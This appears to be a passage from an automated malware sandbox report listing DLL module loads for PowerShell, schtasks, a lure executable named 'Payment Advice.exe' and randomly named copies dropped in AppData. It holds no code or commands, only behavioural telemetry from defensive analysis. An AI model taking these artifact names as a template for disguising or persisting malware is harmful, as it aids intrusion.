Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: uxtheme.dll
